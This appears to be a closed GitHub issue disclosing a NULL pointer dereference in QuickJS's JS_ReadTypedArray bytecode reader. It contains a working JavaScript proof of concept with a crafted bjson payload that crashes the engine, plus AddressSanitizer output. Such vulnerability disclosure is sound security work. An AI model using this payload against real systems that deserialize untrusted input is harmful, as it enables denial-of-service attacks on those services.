-
Notifications
You must be signed in to change notification settings - Fork 249
Closed
Description
Overview
The vulnerability is located in the JS_ReadTypedArray function in quickjs.c.
When parsing a TypedArray, the function calls BC_add_object_ref1(s, NULL) to add the current object (which is not yet created and is NULL) to the object reference table before recursively reading the underlying ArrayBuffer.
If the attacker provides a malicious payload where the recursive JS_ReadObjectRec(s) call (used to read the ArrayBuffer) contains a BC_TAG_OBJECT_REFERENCE pointing back to this pre-reserved index, the parser attempts to read this uninitialized NULL pointer.
The flow is as follows:
JS_ReadTypedArrayaddsNULLto the reference tables->objects[idx].- It calls
JS_ReadObjectRecto recursively parse theArrayBuffer. - The malicious data contains
BC_TAG_OBJECT_REFERENCEpointing to the indexidx. JS_ReadObjectRecexecutesobj = js_dup(JS_MKPTR(JS_TAG_OBJECT, s->objects[val]));.- Since
s->objects[val]isNULL,js_dupattempts to increment the reference count of a NULL pointer, causing a Segmentation Fault (SEGV).
PoC
import * as bjson from "qjs:bjson";
const JS_READ_OBJ_REFERENCE = 0x08;
const BC_VERSION = 22;
const BC_TAG_TYPED_ARRAY = 14;
const BC_TAG_OBJECT_REFERENCE = 20;
try {
let payload = new Uint8Array([
BC_VERSION,
0x00, // Atom count
BC_TAG_TYPED_ARRAY,
0x00, // Uint8Array
0x00, // Length
0x00, // Offset
BC_TAG_OBJECT_REFERENCE,
0x00 // Object Reference to index 0 (The TypedArray itself, which is NULL)
]);
// Trigger the crash
// We pass JS_READ_OBJ_REFERENCE to allow reference tags
bjson.read(payload.buffer, 0, payload.byteLength, JS_READ_OBJ_REFERENCE);
} catch(e) {
console.log("Caught exception:", e);
}ASAN output
AddressSanitizer:DEADLYSIGNAL
=================================================================
==606694==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5887d8c26595 bp 0x7ffe7d022140 sp 0x7ffe7d0220a0 T0)
==606694==The signal is caused by a READ memory access.
==606694==Hint: address points to the zero page.
#0 0x5887d8c26595 in js_dup /home/or4nge/quickjs/quickjs.c:1479
#1 0x5887d8d3bbb6 in JS_ReadObjectRec /home/or4nge/quickjs/quickjs.c:37790
#2 0x5887d8d39a79 in JS_ReadTypedArray /home/or4nge/quickjs/quickjs.c:37496
#3 0x5887d8d3b7ce in JS_ReadObjectRec /home/or4nge/quickjs/quickjs.c:37756
#4 0x5887d8d3cf81 in JS_ReadObject2 /home/or4nge/quickjs/quickjs.c:37916
#5 0x5887d8d3d1ab in JS_ReadObject /home/or4nge/quickjs/quickjs.c:37931
#6 0x5887d8c1dc5b in js_bjson_read /home/or4nge/quickjs/quickjs-libc.c:4861
#7 0x5887d8c90030 in js_call_c_function /home/or4nge/quickjs/quickjs.c:16403
#8 0x5887d8c91f03 in JS_CallInternal /home/or4nge/quickjs/quickjs.c:16619
#9 0x5887d8c9a471 in JS_CallInternal /home/or4nge/quickjs/quickjs.c:17046
#10 0x5887d8cba7dc in async_func_resume /home/or4nge/quickjs/quickjs.c:19358
#11 0x5887d8cbbf81 in js_async_function_resume /home/or4nge/quickjs/quickjs.c:19613
#12 0x5887d8cbd061 in js_async_function_call /home/or4nge/quickjs/quickjs.c:19732
#13 0x5887d8cfbb82 in js_execute_sync_module /home/or4nge/quickjs/quickjs.c:29655
#14 0x5887d8cfcf62 in js_inner_module_evaluation /home/or4nge/quickjs/quickjs.c:29767
#15 0x5887d8cfd6e3 in js_evaluate_module /home/or4nge/quickjs/quickjs.c:29814
#16 0x5887d8d27d8c in JS_EvalFunctionInternal /home/or4nge/quickjs/quickjs.c:35400
#17 0x5887d8d27ef5 in JS_EvalFunction /home/or4nge/quickjs/quickjs.c:35414
#18 0x5887d8bfd206 in eval_buf /home/or4nge/quickjs/qjs.c:128
#19 0x5887d8bfd4bf in eval_file /home/or4nge/quickjs/qjs.c:165
#20 0x5887d8c00061 in main /home/or4nge/quickjs/qjs.c:686
#21 0x7e87f7629d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#22 0x7e87f7629e3f in __libc_start_main_impl ../csu/libc-start.c:392
#23 0x5887d8bfc8a4 in _start (/home/or4nge/quickjs/build/qjs+0x418a4)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/or4nge/quickjs/quickjs.c:1479 in js_dup
==606694==ABORTING
Reporter credit: Qanux
Metadata
Metadata
Assignees
Labels
No labels